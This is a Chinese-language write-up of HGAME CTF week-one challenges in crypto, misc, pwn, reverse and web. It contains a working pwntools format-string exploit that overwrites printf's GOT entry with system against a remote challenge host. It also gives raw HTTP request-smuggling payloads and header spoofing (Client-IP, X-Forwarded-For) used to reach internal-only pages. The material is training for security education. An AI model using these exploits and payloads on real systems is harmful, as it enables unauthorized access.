hgame week_1 writeup by v0id

crypto

对称之美

key 长度远小于 FLAG，循环异或，试试词频攻击。 坑：传入密钥长度为 17 时，实际猜出来的密钥的最大长度才是 16

exp:

```
# coding:utf8
# by https://findneo.github.io/
def getCipher():
    '''从文件中读取十六进制串，返回十六进制数组
    '''
    cc=
b'A\x14\x15(\x1f\x1fM\x03\tT>\'K\tJGk.\x1fe\x05\x12\\\x1fP\x00?,K\rTV&"\x021\x01ZV
\x17P~6i\x1b\tQ]?.\x02"R\x15KQ\x14\x066>\x02\x06_\x13)&\x00$\x1c\x19\\Q\x15\x154!K
\x07L[.5LO\x1d\x0fM_P ? \x18H[\\>+\x08e\x10\x1f\x19\x05\x18\x11w&\t\x02]P?
4L1\x1a\x1fT\x02\x15\x18!,\x18D\x189)2\x18e\x1b\x0e\x19\x12\x11\x1aw(\x07\x1bW\x13
9"\x00$\x06\x1f\x19\x05\x1fT4&\x07\x07J@k&\x02!RpV\x05\x18\x11%i\x08\x07UC$4\x051\
x1b\x15W\x10\x1cT#,\x08\x00VZ:2\t6\\p`\x1e\x05T:(\x12HV\\?g\x1e
\x13\x16P\x0b\x15T>=GHZF?
g\x15*\x07\x08\x19\x13\x02\x15>\'KbQ@k%\x196\x0bZN\x1e\x02\x1f>\'\x0cHZV#.\x02!R\x
0eQ\x14P\x074,\x05\rK\x13?
(L6\x17\x1fRQz\x1b"=K\x1bA^&"\x187\x0bZN\x19\x15\x1aw0\x04\x1d\x18_$(\x07e\x13\x0e
\x19\x10P\x046
\x05\x1cQ],iLO&\x12\\\x03\x15T6;\x0eHKV="\x1e$\x1eZK\x14\x11\x078\'\x18H^\\9g\x18-
\x1b\t\x17Q$\x1c2ia\x0eQA83L,\x01ZM\x19\x11\x00w>\x0eOJVk/\r7\x16WN\x18\x02\x113i\
x1f\x07\x18_$(\x07e\x14\x15KQz\x1d#gK\'MAk&\x02&\x1b\x1fW\x05P\x159*\x0e\x1bL\\94L
(\x13\x03\x19\x1f\x1f\x00w!\n\x1e]\x13#&\x08ex\x1b\x19\x1f\x11\x192i\r\x07J\x13"3@
e\x10\x0fMQ\x04\x1c20K\x03VV<g\x18-
\x13\x0e\x19\x05\x18\x11>;KbWD%g\x0e*\x16\x13\\\x02P\x032;\x0eHZR8.\x0f$\x1e\x16@Q
\x03\r:$\x0e\x1cJZ(&\x00iR\x1bJQz\x032;\x0eHL[$4\te\x1d\x1c\x19\x01\x1f\x002\'\x1f
\x01Y_k7\x1e
\x16\x1bM\x1e\x02\x07w&\x19HHA.>Bex.Q\x14\x02\x111&\x19\r\x14\x13?/\x056R\x19X\x1c
\x15T>\'K\x00Y]/>L2\x1a\x1fM\x19\x15\x06wC\x08\x00W\\8.\x02"R\x1b\x19\x1c\x11\x002
eK\x0bYG(/\x05+\x15Z]\x18\x1e\x1a2;K\x07J\x13A&\x1a*\x1b\x1eP\x1f\x17T5,\x02\x06_\
x13$)L1\x1a\x1f\x19\x1c\x15\x1a"i\x04\x0e\x18Rk4\x02$\x00\x16P\x1f\x17XwC\x03\x1dV
T9>L5\x13\x19RQ\x1f\x12w>\x04\x04NV8g\x037R\x18\\\x10\x02\x07vC?
\tSVk&L)\x1d\x15RQ\x11\x00w0\x04\x1dJ\x13-&\x0f
R\x13WQ\x04\x1c2i\x06\x01JA$5LO\x13\x14]Q\x19\x196.\x02\x06]\x13*g\x00,\x1c\x1f\x1
9\x02\x04\x066 \x0c\x00L\x13/(\x1b+R\x0eQ\x14P~:
\x0f\x0cTVeg5*\x07]U\x1dP\x072,K\nWG#g\x1f,\x16\x1fJQ\x1f\x12w0\x04\x1dJ\x13A!\r&\
x17ZX\x03\x15T\';\x0e\x1cLJk4\x15(\x1f\x1fM\x03\x19\x176%EHl["4L,\x01Z3\x1a\x1e\x1
b
\'K\tK\x13).\x00$\x06\x1fK\x10\x1cT$0\x06\x05]G9>L$\x1c\x1e\x19\x18\x04S$ia\x1fPV9
"L\'\x1d\x0eQQ\x03\x1d3,\x18H]Z?/\t7R\tP\x15\x15T8/K\x1cPZ8gf!\x1b\x0cP\x15\x19\x1
a0i\x07\x01VVk&\x1c5\x17\x1bKQ\x1d\x1b%,K\x07J\x13\'"\x1f6R\x0eQ\x14P\x076$\x0eF2`
```

```
$g\x04 \x00\x1f\x19\x18\x03T#!\x0eH^_*
Vex\x12^\x10\x1d\x11,\x11[\x1agZ~j\r\x1a\x07)\n\x17%E|}\x05\x0c\x1cU\x1e\t\x02<-9\
x08\x018G%4a'
    #cc= [ord(i) for i in c]
    return cc



def getKeyPool(cipher, stepSet, plainSet, keySet):
    ''' 传入的密文串、明文字符集、密钥字符集、密钥长度范围均作为数字列表处理.形如
[0x11,0x22,0x33]
        返回一个字典，以可能的密钥长度为键，以对应的每一字节的密钥字符集构成的列表为值，
密钥字符集为数字列表。
            形如{
                    1:[[0x11]],
                    3:[
                        [0x11,0x33,0x46],
                        [0x22,0x58],
                        [0x33]
                       ]
                }
    '''
    keyPool = dict()
    for step in stepSet:
        maybe = [None] * step
        for pos in range(step):
            maybe[pos] = []
            for k in keySet:
                flag = 1
                for c in cipher[pos::step]:
                    if c ^ k not in plainSet:
                        flag = 0
                if flag:
                    maybe[pos].append(k)
        for posPool in maybe:
            if len(posPool) == 0:
                maybe = []
                break
        if len(maybe) != 0:
            keyPool[step] = maybe
    return keyPool


def calCorrelation(cpool):
    '''传入字典，形如{'e':2,'p':3}
        返回可能性，0~1,值越大可能性越大
        (correlation between the decrypted column letter frequencies and
        the relative letter frequencies for normal English text)
    '''
    frequencies = {"e": 0.12702, "t": 0.09056, "a": 0.08167, "o": 0.07507, "i":
0.06966,
                   "n": 0.06749, "s": 0.06327, "h": 0.06094, "r": 0.05987, "d":
0.04253,
                   "l": 0.04025, "c": 0.02782, "u": 0.02758, "m": 0.02406, "w":
```

```
0.02360,
                  "f": 0.02228, "g": 0.02015, "y": 0.01974, "p": 0.01929, "b":
0.01492,
                  "v": 0.00978, "k": 0.00772, "j": 0.00153, "x": 0.00150, "q":
0.00095,
                  "z": 0.00074}
    relative = 0.0
    total = 0
    fpool = 'etaoinshrdlcumwfgypbvkjxqz'
    total = sum(cpool.values())  # 总和应包括字母和其他可见字符
    for i in cpool.keys():
        if i in fpool:
            relative += frequencies[i] * cpool[i] / total
    return relative


def analyseFrequency(cfreq):
    key = []
    for posFreq in cfreq:
        mostRelative = 0
        for keyChr in posFreq.keys():
            r = calCorrelation(posFreq[keyChr])
            if r > mostRelative:
                mostRelative = r
                keychar = keyChr
        key.append(keychar)

    return key


def getFrequency(cipher, keyPoolList):
    ''' 传入的密文作为数字列表处理
        传入密钥的字符集应为列表，依次包含各字节字符集。
            形如[[0x11,0x12],[0x22]]
        返回字频列表，依次为各字节字符集中每一字符作为密钥组成部分时对应的明文字频
            形如[{
                    0x11:{'a':2,'b':3},
                    0x12:{'e':6}
                },
                {
                    0x22:{'g':1}
                }]
    '''
    freqList = []
    keyLen = len(keyPoolList)
    for i in range(keyLen):
        posFreq = dict()
        for k in keyPoolList[i]:
            posFreq[k] = dict()
            for c in cipher[i::keyLen]:
                p = chr(k ^ c)
                posFreq[k][p] = posFreq[k][p] + 1 if p in posFreq[k] else 1
        freqList.append(posFreq)
    return freqList
```

```
def vigenereDecrypt(cipher, key):
    plain = ''
    cur = 0
    ll = len(key)
    for c in cipher:
        plain += str(chr(c ^ ord(key[cur])))
        cur = (cur + 1) % ll
    return plain


def main():
    ps = []
    ks = []
    ss = []
    ps.extend(range(0xff))
    ks.extend(range(0x20,0x80))
    ss.extend(range(0, 17))
    cipher = getCipher()

    keyPool = getKeyPool(cipher=cipher, stepSet=ss, plainSet=ps, keySet=ks)
    print(keyPool)

    flag= ''
    KEY = ''
    for i in keyPool:
        freq = getFrequency(cipher, keyPool[i])
        key = analyseFrequency(freq)
        KEY = ''.join(map(chr,key))
        print(KEY)

    print(vigenereDecrypt(cipher, KEY))


if __name__ == '__main__':
    main()
```

Transformer

要找到密文和明文之间的映射关系。可以写脚本，但是感觉时间成本还不如手工。
通过 everything 的文件内容搜索，找 enc 里的特殊字符（比如双引号，括号），在 ori 中找到有相同位置特殊字符的文件，把文件内容对应上去即可。
exp：

```
import string

dic_str="a o b z c d d y e c f i g x h e i n j k k s l q m b n r o t p a q h r w s
f t m u l v v w * x p y g z u"
```

```
dic_str = dic_str.split(' ')
in_str = ''.join(dic_str[2*i] for i in range(int(len(dic_str)/2)))
out_str = ''.join(dic_str[2*i+1] for i in range(int(len(dic_str)/2)))
print(out_str)
ss = "Tqh ufso mnfcyh eaikauh kdkoht qpk aiud zkhc xpkkranc uayfi kfieh 2003, oqh
xpkkranc fk \"qypth{hp5d_s0n_szi^3ic&qh11a_}\",Dai'o sanyho oa pcc oqh dhpn po oqh
hic."
print(ss.translate(str.maketrans(in_str,out_str)))
```

misc

base家族

第一层数字加字母，尝试 base64
第二层只有大写字母，尝试 base32
第三层 binascii.unhexlify("6867616D657B57653163306D655F74305F4847344D335F323032317D")

galaxy

用 wireshark 打开 pcapng 过滤 http 方法，dump 出 png
修改 png 高度与宽度相等得到 flag

word master

binwalk 分离 doc 格式，得到 0.zip ， 在 word 文件夹里，找到 password.xml ， 打开是 brainfuck 编码，解码得 DOYOUKNOWHIDDEN?
snow 加密，参考文章 https://www.cnblogs.com/gh-d/p/8087762.html
wps 无法复制密文，手头没有 office ， 故转为腾讯文档后复制，snow.exe -C得到 flag

压缩包

题目提示压缩包，binwalk -e 分离出压缩包
无密码，试试8位以内纯数字暴力（软件 ARCHPR ）
第一层密码 70415155
第二层短的纯数字，字母，字典均无果，先猜是伪加密，但是 zip 压缩源文件数据区有 09 标识（参考：https://blog.csdn.net/qq_26187985/article/details/83654197 ），看到 plain 中有与上一层相同的 no password.txt ， 结合文件名字 plain ， 试试明文破解。
（压缩明文文件方式选择“存储”）
成功得到口令 C8uvP$DP
第三层还要密码，直接伪加密硬刚，取出 txt ， 发现乱码， 010editor 打开，发现是 unicode 编码，找个网站解一下就ok了。

PWN

whitegive

pwn 的签到题，密码是 password 的地址，输入地址的十进制 4202514 即可。

once

一次性替换 printf 的 got 为 system，因为 read 的字符数有限，所以只能保证某些情况下成功，但是我跑了不到五次就拿到 shell 了。 hint 说能用 one_gadget ,但是我的好像三个 one_gadget 的条件都不满足，还是等着看官方 wp 吧。
exp：

```
from pwn import *

#sh = process('./once')
sh = remote('182.92.108.71',30107)

libc = ELF("./libc-2.23.so")

payload = '##%11$p##' + 'a'*31
sh.send(payload+'\xba')
ret = sh.recvuntil('aaaa')
main_addr = int(ret.split("##")[1],16)
print(hex(main_addr))
payload = '%7$sbbbb' + p64(main_addr+0x2e5e) + 'a'*24
sh.send(payload+'\xba')
ret = sh.recvuntil('bbbb')

print(hex(u64(ret[ret.find(":")+2:ret.find("bbbb")].ljust(8,'\x00'))))

puts_addr = hex(u64(ret[ret.find(":")+2:ret.find("bbbb")].ljust(8,'\x00')))

system_addr = int(puts_addr,16) - 0x31550
printf_addr = system_addr + 0x15a20
one_gadget = int(puts_addr,16) + 0x8997c

payload1 = '%1$pdddd'
payload1 = payload1 + (40-len(payload1))*'a' + '\xba'
sh.send(payload1)
ret = sh.recvuntil('dddd')
stack_addr = int(ret[ret.find(":")+2:ret.find("dddd")],16)

print(hex(stack_addr))
print(payload1,len(payload1))

already = (system_addr >>16 & 0xffff)
payload1 = '%%%dx' % (system_addr >>16 & 0xffff) + '%9$hn' + '%%%dx' %
((system_addr & 0xffff)-already) + '%10$hn'

payload1 = payload1 + (24-len(payload1))*'a' + p64(main_addr+0x2e6e+2) +
p64(main_addr+0x2e6e) + '\xba'

sh.send(payload1)

print(payload1,len(payload1))

sh.interactive()
```

REVERSE

a_pa_cha

根据常数 0x9e3779b9 ，得知是 tea 系列算法，根据特征右移 3 知道是 xxtea
密钥 1，2，3，4，ida 提取密文
0xE74EB323,0x0B7A72836,0x59CA6FE2,0x967CC5C1,0x0E7802674,0x3D2D54E6,0x8A9D0356,0x99DCC39C,0x7026D8ED,0x6A33FDAD,0x0F496550A,0x5C9C6F9E,0x1BE5D04C,0x6723AE17,0x5270A5C2,0x0AC42130A,0x84BE67B2,0x705CC779,0x5C513D98,0x0FB36DA2D,0x22179645,0x5CE3529D,0x0D189E1FB,0x0E85BD489,0x73C8D11F,0x54B5C196,0x0B67CB490,0x2117E4CA,0x9DE3F994,0x2F5AA1AA,0x0A7E801FD,0x0C30D6EAB,0x1BADDC9C,0x3453B04A,0x92A406F9

解密即可 cpp代码如下

```
#include <cstdio>
#include <cstdint>
#define MX (((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((sum ^ y) + (key[(p
& 3) ^ e] ^ z))
#define DELTA 0x9e3779b9

static uint32_t *xxtea_uint_encrypt(uint32_t *data, size_t len, uint32_t *key) {
    uint32_t n = (uint32_t)len - 1;
    uint32_t z = data[n], y, p, q = 6 + 52 / (n + 1), sum = 0, e;

    if (n < 1)
        return data;

    while (0 < q--) {
        sum += DELTA;
        e = sum >> 2 & 3;
        for (p = 0; p < n; p++) {
            y = data[p + 1];
            z = data[p] += MX;
        }
        y = data[0];
        z = data[n] += MX;
    }

    return data;
}

static uint32_t *xxtea_uint_decrypt(uint32_t *data, size_t len, uint32_t *key) {
    uint32_t n = (uint32_t)len - 1;
    uint32_t z, y = data[0], p, q = 6 + 52 / (n + 1), sum = q * DELTA, e;

    if (n < 1)
        return data;

    while (sum != 0) {
        e = sum >> 2 & 3;
```

```
        for (p = n; p > 0; p--) {
            z = data[p - 1];
            y = data[p] -= MX;
        }

        z = data[n];
        y = data[0] -= MX;
        sum -= DELTA;
    }

    return data;
}

int main() {
    uint32_t v[35] = {0xE74EB323, 0x0B7A72836, 0x59CA6FE2, 0x967CC5C1,
0x0E7802674, 0x3D2D54E6, 0x8A9D0356, 0x99DCC39C, 0x7026D8ED, 0x6A33FDAD,
0x0F496550A, 0x5C9C6F9E, 0x1BE5D04C, 0x6723AE17, 0x5270A5C2, 0x0AC42130A,
0x84BE67B2, 0x705CC779, 0x5C513D98, 0x0FB36DA2D, 0x22179645, 0x5CE3529D,
0x0D189E1FB, 0x0E85BD489, 0x73C8D11F, 0x54B5C196, 0x0B67CB490, 0x2117E4CA,
0x9DE3F994, 0x2F5AA1AA, 0x0A7E801FD, 0x0C30D6EAB, 0x1BADDC9C, 0x3453B04A,
0x92A406F9};
    uint32_t key[4] = {1, 2, 3, 4};
    xxtea_uint_decrypt(v, 35, key);
    for (int i = 0; i < 35; i++)
        printf("%c", v[i]);
    return 0;
}
```

hellore

先 patch 掉 CloseHandle 的反调试
修改两处汇编：

```
.text:0000000140001592                xor     al, [rbx+rdi]
.text:0000000140001595                cmp     al, [rbx+r14]

改成

xor al, byte ptr ds:[rbx+r14*1]
mov byte ptr ds:[rbx+rdi*1], al
```

这样执行的时候，exe 会自动计算 flag ， 并填入输入的内存。

pypy

给了python的反汇编

代码不多，可以直接手撸（不确定的先写 python 代码再 dis.dis 一下就可 字节码网址
https://www.cnblogs.com/fortwo/archive/2013/05/13/3076780.html
exp：

```
import binascii
str=binascii.unhexlify("30466633346f59213b4139794520572b45514d61583151576638643a")
aa=[]
for i in range(len(str)):
     aa.append(chr(str[i]^i))
for i in range(int(len(aa)/2)):
     tmp = aa[2*i]
     aa[2*i] = aa[2*i+1]
     aa[2*i+1]=tmp
flag=""
for i in range(len(aa)):
     flag+=aa[i]
print(flag)
```

因为有句代码是取 flag 的有效部分的，把 hgame 加上去就可

web

watermelon

合成大西瓜，当然不能自己合。
查看 main.js

```
var MainManger = __require("MainManage");
MainManger.init(launchScene, cc.sys.isBrowser, canvas.style.visibility);
```

查看 init 方法，发现是对变量赋赋值啥的，没意思。看一下 MainManager 的其他方法。
哎，这个 gameOverShowText 注释掉了代码，还在 gameover 的时候解密并 alert 了一串密文，就是他了。

```
gameOverShowText: function (e, t) {
                    if(e > 1999){

alert(window.atob("aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99"))
                    }
                    //
this.ajaxLoad("http://www.wesane.com/admin.php/Gamescore/saveGamescore",
"gameScore=" + e + "&gameId=" + this.gameHttpId + "&gameType=" + t,
this.scoreResult)
                },
```

直接运行一下 alert(window.atob("aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99")) 就有 flag 了

宝藏走私者

hint 说留意服务器信息，服务器是 ATS/7.1.2
hint2 直接给网站学习了，所以按照上面的内容来。

```
GET / HTTP/1.1
Host: thief.0727.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Content-Length: 65

GET /secret HTTP/1.1
Host: localhost
Client-IP: 127.0.0.1
```

走私者2

同理，(务必不要忘了请求最后的换行，否则400)

```
GET / HTTP/1.1
Host: police.liki.link
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Transfer-Encoding: chunked
Content-Length: 6

0

GET /secret HTTP/1.1
Host: localhost
Client-IP: 127.0.0.1
```

顺风车

考察 http 协议
burp 抓包 302，改 GET 请求为 POST
然后改 UA 为 User-Agent: Infinite Improbability Drive
改 Referer 为 Referer: https://cardinal.ink/
最后加本地 ip，Client-ip: 127.0.0.1 不行，百度得知还可以 X-Forwarded-For:127.0.0.1，得到 flag

高数

提取出算式，因为长得都一样所以 xml 解析一下，计算再 post 回去，最后不要忘了 post 的是 json
exp：

```
import requests
import json
from xml.dom import minidom

def getQuestion(sess):
    r = sess.get("http://r4u.top:5000/api/getQuestion")
    print(r.json())
    #return r.json()["question"]
    return bytes(r.json()["question"], encoding = "utf8")

def calc():
    dom = minidom.parse('tmp.xml')
    lbound = dom.getElementsByTagName('mn')[0].childNodes[0].nodeValue
    lbound = int(lbound)
    try:
        if(dom.getElementsByTagName('mrow')[1].getElementsByTagName('mo')
[0].childNodes[0].nodeValue=='-'):
            lbound = -lbound
    except:
        pass
    ubound = dom.getElementsByTagName('mn')[1].childNodes[0].nodeValue
    ubound = int(ubound)
    try:
        if(dom.getElementsByTagName('mrow')[2].getElementsByTagName('mo')
[0].childNodes[0].nodeValue=='-'):
            ubound = -ubound
    except:
        pass
    a = dom.getElementsByTagName('mn')[2].childNodes[0].nodeValue
    b = dom.getElementsByTagName('mn')[3].childNodes[0].nodeValue
    a = int(a)
    b = int(b)
    print(a,b,lbound,ubound)
    upp = a/2 * ubound *ubound + b*ubound
    lwr = a/2 * lbound *lbound + b*lbound
    print(upp-lwr)
    return upp-lwr

def submit(sess,num):
    #print(str(num)[0:-2])
    r = sess.post("http://r4u.top:5000/api/verify",data =
```

```
    json.dumps({'answer':num}))
        print(r.json())

    def getFlag(sess):
        r = sess.get("http://r4u.top:5000/api/getFlag")
        print(r.json())


    s = requests.Session()
    s.headers = {"Content-Type":"application/json"}
    #s.headers = {'Cookie': 'session=eyJzb2x2aW5nIjoxfQ.YBV2-
    g.G6aMFg_GfNA6zVQOrqQ3KtFMsP4','Origin': 'http://r4u.top:5000','Referer':
    'http://r4u.top:5000/','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104
    Safari/537.36','Accept-Encoding': 'gzip, deflate'}
    for i in range(100):
        with open("tmp.xml","wb") as f:
            f.write(getQuestion(s))
            f.close()
        aaa = calc()
        submit(s,aaa)
    getFlag(s)
```

week1快乐的结束了，感谢vidar